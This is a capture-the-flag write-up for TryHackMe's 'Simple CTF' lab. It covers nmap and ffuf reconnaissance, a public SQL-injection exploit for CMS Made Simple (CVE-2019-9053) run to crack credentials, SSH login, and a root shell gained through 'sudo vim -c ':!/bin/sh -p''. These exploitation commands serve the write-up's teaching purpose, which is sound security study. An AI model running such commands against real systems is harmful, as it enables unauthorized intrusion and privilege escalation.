> For the complete documentation index, see [llms.txt](https://ganesha-hk.gitbook.io/cybersecurity-writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ganesha-hk.gitbook.io/cybersecurity-writeups/tryhackme/simple-ctf-tryhackme.md).

# Simple CTF (TryHackMe)

### 🧭 Overview

* Platform: TryHackMe
* Focus: Web Exploitation + Privilege Escalation
* OS: Linux

***

### 🔍 Reconnaissance

#### Nmap Scan

```bash
nmap -sC -sV -A <IP>
```

#### Findings:

* Port 80 → HTTP
* Port 2222 → SSH
* OS → Linux (Ubuntu)

#### Nmap Output

![Nmap Scan](https://github.com/Ganesha-hk/CTF_Writeups_Simple-ctf/blob/main/Simple-ctf/Images/enu.jpeg?raw=true)

***

### 🔎 Enumeration

#### Directory Fuzzing

```bash
ffuf -w /path/to/SecLists/common.txt -u http://<IP>/FUZZ
```

#### Discovered:

* `/simple`

#### FFUF Output

![FFUF](https://github.com/Ganesha-hk/CTF_Writeups_Simple-ctf/blob/main/Simple-ctf/Images/ffuf.jpeg?raw=true)

***

### ⚙️ Technology Identified

* CMS: **CMS Made Simple**

***

### 💥 Initial Access

#### Vulnerability:

* SQL Injection (CVE-2019-9053)

#### Exploit:

Use public exploit (Python2):

```bash
python2 exploit.py -u http://<IP>/simple --crack -w /path/to/rockyou.txt
```

#### Result:

* Extracted credentials:
  * Username
  * Password
  * Email

#### Exploit Output

![SQLi Exploit](https://github.com/Ganesha-hk/CTF_Writeups_Simple-ctf/blob/main/Simple-ctf/Images/ap3.jpeg?raw=true)

***

### 🔑 Gaining Access

Login via SSH:

```bash
ssh mitch@<IP> -p 2222
```

#### Result:

* Initial shell obtained

![SSH Access](https://github.com/Ganesha-hk/CTF_Writeups_Simple-ctf/blob/main/Simple-ctf/Images/ap1.jpeg?raw=true)

***

### 🔐 Privilege Escalation

#### Enumeration:

```bash
sudo -l
```

#### Finding:

* `/usr/bin/vim` can run as root without password

#### Exploit:

```bash
sudo vim -c ':!/bin/sh -p'
```

#### Result:

* Root shell obtained

![Root Access](https://github.com/Ganesha-hk/CTF_Writeups_Simple-ctf/blob/main/Simple-ctf/Images/ap6.jpeg?raw=true)

***

### 🎯 Key Takeaways

* Outdated CMS can lead to SQL injection vulnerabilities
* Always check for public exploits (Exploit-DB)
* Misconfigured sudo permissions can lead to full system compromise

***

### ⚠ Disclaimer

This writeup is for educational purposes only.\
All activities were performed in authorized lab environments.


---

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